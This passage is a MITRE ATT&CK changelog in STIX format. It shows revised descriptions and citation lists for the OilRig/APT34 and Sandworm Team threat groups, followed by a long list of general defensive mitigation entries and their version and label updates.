| > | Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit | > | DAGENT July 2018) | ||
| > | 42 QUADAGENT July 2018) This group was previously tracked un | ||||
| > | der two distinct groups, APT34 and OilRig, but was combined | ||||
| > | due to additional reporting giving higher confidence about t | ||||
| > | he overlap of the activity. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 23:59:31.684000+00:00 | 2021-10-15 22:04:08.941000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[2]['source_name'] | IRN2 | COBALT GYPSY |
| external_references[2]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[3]['source_name'] | HELIX KITTEN | IRN2 |
| external_references[3]['description'] | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[4]['source_name'] | APT34 | HELIX KITTEN |
| external_references[4]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[5]['source_name'] | Palo Alto OilRig April 2017 | APT34 |
| external_references[5]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) |
| external_references[6]['source_name'] | ClearSky OilRig Jan 2017 | Palo Alto OilRig April 2017 |
| external_references[6]['description'] | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[6]['url'] | http://www.clearskysec.com/oilrig/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[7]['source_name'] | Palo Alto OilRig May 2016 | ClearSky OilRig Jan 2017 |
| external_references[7]['description'] | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. |
| external_references[7]['url'] | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ | http://www.clearskysec.com/oilrig/ |
| external_references[8]['source_name'] | Palo Alto OilRig Oct 2016 | Palo Alto OilRig May 2016 |
| external_references[8]['description'] | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ |
| external_references[9]['source_name'] | Unit 42 Playbook Dec 2017 | Palo Alto OilRig Oct 2016 |
| external_references[9]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. |
| external_references[9]['url'] | https://pan-unit42.github.io/playbook_viewer/ | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ |
| external_references[10]['source_name'] | FireEye APT34 Dec 2017 | Unit 42 Playbook Dec 2017 |
| external_references[10]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://pan-unit42.github.io/playbook_viewer/ |
| external_references[11]['source_name'] | Unit 42 QUADAGENT July 2018 | FireEye APT34 Dec 2017 |
| external_references[11]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| external_references[12]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | Unit 42 QUADAGENT July 2018 |
| external_references[12]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[12]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | COBALT GYPSY | |
| external_references | {'source_name': 'Secureworks COBALT GYPSY Threat Profile', 'description': 'Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-gypsy'} | |
| external_references | {'source_name': 'Crowdstrike Helix Kitten Nov 2018', 'description': 'Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/'} | |
| external_references | {'source_name': 'Check Point APT34 April 2021', 'description': 'Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.', 'url': 'https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/'} |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a | t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a |
| > | destructive Russian threat group that has been attributed to | > | destructive threat group that has been attributed to Russia' | ||
| > | Russian GRU Unit 74455 by the U.S. Department of Justice an | > | s General Staff Main Intelligence Directorate (GRU) Main Cen | ||
| > | d U.K. National Cyber Security Centre. [Sandworm Team](https | > | ter for Special Technologies (GTsST) military unit 74455.(Ci | ||
| > | ://attack.mitre.org/groups/G0034)'s most notable attacks inc | > | tation: US District Court Indictment GRU Unit 74455 October | ||
| > | lude the 2015 and 2016 targeting of Ukrainian electrical com | > | 2020)(Citation: UK NCSC Olympic Attacks October 2020) This g | ||
| > | panies and 2017's [NotPetya](https://attack.mitre.org/softwa | > | roup has been active since at least 2009.(Citation: iSIGHT S | ||
| > | re/S0368) attacks. [Sandworm Team](https://attack.mitre.org/ | > | andworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: U | ||
| > | groups/G0034) has been active since at least 2009.(Citation: | > | SDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) I | ||
| > | iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Ci | > | n October 2020, the US indicted six GRU Unit 74455 officers | ||
| > | tation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb | > | associated with [Sandworm Team](https://attack.mitre.org/gro | ||
| > | 2020) | > | ups/G0034) for the following cyber operations: the 2015 and | ||
| > | 2016 attacks against Ukrainian electrical companies and gove | ||||
| > | rnment organizations, the 2017 worldwide [NotPetya](https:// | ||||
| > | attack.mitre.org/software/S0368) attack, targeting of the 20 | ||||
| > | 17 French presidential campaign, the 2018 [Olympic Destroyer | ||||
| > | ](https://attack.mitre.org/software/S0365) attack against th | ||||
| > | e Winter Olympic Games, the 2018 operation against the Organ | ||||
| > | isation for the Prohibition of Chemical Weapons, and attacks | ||||
| > | against the country of Georgia in 2018 and 2019.(Citation: | ||||
| > | US District Court Indictment GRU Unit 74455 October 2020)(Ci | ||||
| > | tation: UK NCSC Olympic Attacks October 2020) Some of these | ||||
| > | were conducted with the assistance of GRU Unit 26165, which | ||||
| > | is also referred to as [APT28](https://attack.mitre.org/grou | ||||
| > | ps/G0007).(Citation: US District Court Indictment GRU Oct 20 | ||||
| > | 18) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:56:59.493000+00:00 | 2021-10-15 21:46:19.437000+00:00 |
| description | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018) |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[2]['description'] | (Citation: Dragos ELECTRUM) | (Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING ) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[5]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['description'] | Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | iSIGHT Sandworm 2014 | US District Court Indictment GRU Unit 74455 October 2020 |
| external_references[8]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://www.justice.gov/opa/press-release/file/1328521/download |
| external_references[9]['source_name'] | CrowdStrike VOODOO BEAR | UK NCSC Olympic Attacks October 2020 |
| external_references[9]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games |
| external_references[10]['source_name'] | USDOJ Sandworm Feb 2020 | iSIGHT Sandworm 2014 |
| external_references[10]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[10]['url'] | https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/ | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[11]['source_name'] | NCSC Sandworm Feb 2020 | CrowdStrike VOODOO BEAR |
| external_references[11]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[12]['source_name'] | F-Secure BlackEnergy 2014 | USDOJ Sandworm Feb 2020 |
| external_references[12]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[12]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| external_references[13]['source_name'] | InfoSecurity Sandworm Oct 2014 | NCSC Sandworm Feb 2020 |
| external_references[13]['description'] | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[13]['url'] | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[14]['source_name'] | Dragos ELECTRUM | US District Court Indictment GRU Oct 2018 |
| external_references[14]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[14]['url'] | https://www.dragos.com/resource/electrum/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[15]['source_name'] | Secureworks IRON VIKING | F-Secure BlackEnergy 2014 |
| external_references[15]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'InfoSecurity Sandworm Oct 2014', 'description': 'Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017.', 'url': 'https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/'} | |
| external_references | {'source_name': 'Dragos ELECTRUM', 'description': 'Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.dragos.com/resource/electrum/'} | |
| external_references | {'source_name': 'Secureworks IRON VIKING ', 'description': 'Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-viking'} |
Current version: 1.0
Description: [Leafminer](https://collaborate.mitre.org/attackics/index.php/Group/G0004) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)
Current version: 1.0
Description: Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 13:08:45.966000+00:00 | 2020-11-19 20:44:07.442000+00:00 |
Current version: 1.0
Description: Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound). Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Enterprises can vet applications for exploitable vulnerabili | t | 1 | Enterprises can vet applications for exploitable vulnerabili |
| > | ties or unwanted (privacy-invasive or malicious) behaviors. | > | ties or unwanted (privacy-invasive or malicious) behaviors. | ||
| > | Enterprises can inspect applications themselves or use a thi | > | Enterprises can inspect applications themselves or use a thi | ||
| > | rd-party service. Enterprises may impose policies to only a | > | rd-party service. Enterprises may impose policies to only a | ||
| > | llow pre-approved applications to be installed on their devi | > | llow pre-approved applications to be installed on their devi | ||
| > | ces or may impose policies to block use of specific applicat | > | ces or may impose policies to block use of specific applicat | ||
| > | ions known to have issues. In Bring Your Own Device (BYOD) e | > | ions known to have issues. In Bring Your Own Device (BYOD) e | ||
| > | nvironments, enterprises may only be able to impose these po | > | nvironments, enterprises may only be able to impose these po | ||
| > | licies over an enterprise-managed portion of the device. Ap | > | licies over an enterprise-managed portion of the device. Ap | ||
| > | plication Vetting is not a complete mitigation. Techniques s | > | plication Vetting is not a complete mitigation. Techniques s | ||
| > | uch as [Detect App Analysis Environment](https://attack.mitr | > | uch as [Evade Analysis Environment](https://attack.mitre.org | ||
| > | e.org/techniques/T1440) exist that can enable adversaries to | > | /techniques/T1523) exist that can enable adversaries to bypa | ||
| > | bypass vetting. | > | ss vetting. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-10-18 15:53:07.393000+00:00 | 2021-02-18 16:14:17.809000+00:00 |
| description | Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service. Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device. Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting. | Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service. Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device. Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment](https://attack.mitre.org/techniques/T1523) exist that can enable adversaries to bypass vetting. |
Current version: 1.0
Description: Configure features related to account use like login attempt lockouts, specific login times, etc.
Current version: 1.0
Description: Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
Current version: 1.0
Description: Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems.(Citation: CISA Antivirus ICS August 2018)
Current version: 1.0
Description: This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Current version: 1.0
Description: Restrict execution of code to a virtual environment on or in transit to an endpoint system.
Current version: 1.0
Description: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.
Current version: 1.0
Description: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
Current version: 1.0
Description: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
Current version: 1.0
Description: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise. Maintain and exercise incident response plans, including the management of 'gold-copy' back-up images and configurations for key systems to enable quick recovery and response from adversarial activities that impact control, view, or availability.
Current version: 1.0
Description: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Current version: 1.0
Description: Protect sensitive information with strong encryption.
Current version: 1.0
Description: Block execution of code on a system through application control, and/or script blocking.
Current version: 1.0
Description: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
Current version: 1.1
Description: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations. Application denylists may be needed if all acceptable communication sequences cannot be defined, but instead a set of known malicious uses can be denied (e.g., excessive communication attempts, shutdown messages, invalid commands). Devices performing these functions are often referred to as deep-packet inspection (DPI) firewalls, context-aware firewalls, or firewalls blocking specific automation/SCADA protocol aware firewalls.
Current version: 1.0
Description: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
Current version: 1.0
Description: Block users or groups from installing or using unapproved hardware on systems, including USB devices.
Current version: 1.0
Description: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator. Within industrial control environments assets such as low-level controllers, workstations, and HMIs have real-time operational control and safety requirements which may restrict the use of multi-factor.
Current version: 1.0
Description: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.
Current version: 1.0
Description: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. For example, in IEC 62443, systems within the same secure level should be grouped into a 'zone', and access to that zone is restricted by a 'conduit', or mechanism to restrict data flows between zones by segmenting the network.
Current version: 1.0
Description: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Current version: 1.0
Description: Set and enforce secure password policies for accounts.
Current version: 1.0
Description: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Current version: 1.0
Description: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
Current version: 1.0
Description: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
Current version: 1.0
Description: Restrict the ability to modify certain hives or keys in the Windows Registry.
Current version: 1.0
Description: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
Current version: 1.0
Description: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
Current version: 1.0
Description: Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
Current version: 1.0
Description: Implement a supply chain management program, including policies and procedures to ensure all devices and components originate from a trusted supplier and are tested to verify their integrity.
Current version: 1.0
Description: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
Current version: 1.0
Description: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times.
Current version: 1.0
Description: Manage the creation, modification, use, and permissions associated to user accounts.
Current version: 1.0
Description: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
Current version: 1.0
Description: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - AC-3', 'IEC 62443-3-3:2013 - SR 2.1', 'IEC 62443-4-2:2019 - CR 2.1'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2020-09-25 13:05:21.233000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - AC-3'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 20:53:36.319000+00:00 | 2021-04-12 16:00:36.319000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - CP-9'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-29 16:53:45.681000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - IA-9', 'IEC 62443-3-3:2013 - SR 1.2', 'IEC 62443-4-2:2019 - CR 1.2'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-25 14:47:45.681000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - CM-7', 'IEC 62443-3-3:2013 - SR 7.7', 'IEC 62443-4-2:2013 - CR 7.7'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-25 15:01:45.681000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-4-2:2019 - CR 7.2'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-29 17:25:45.681000+00:00 |
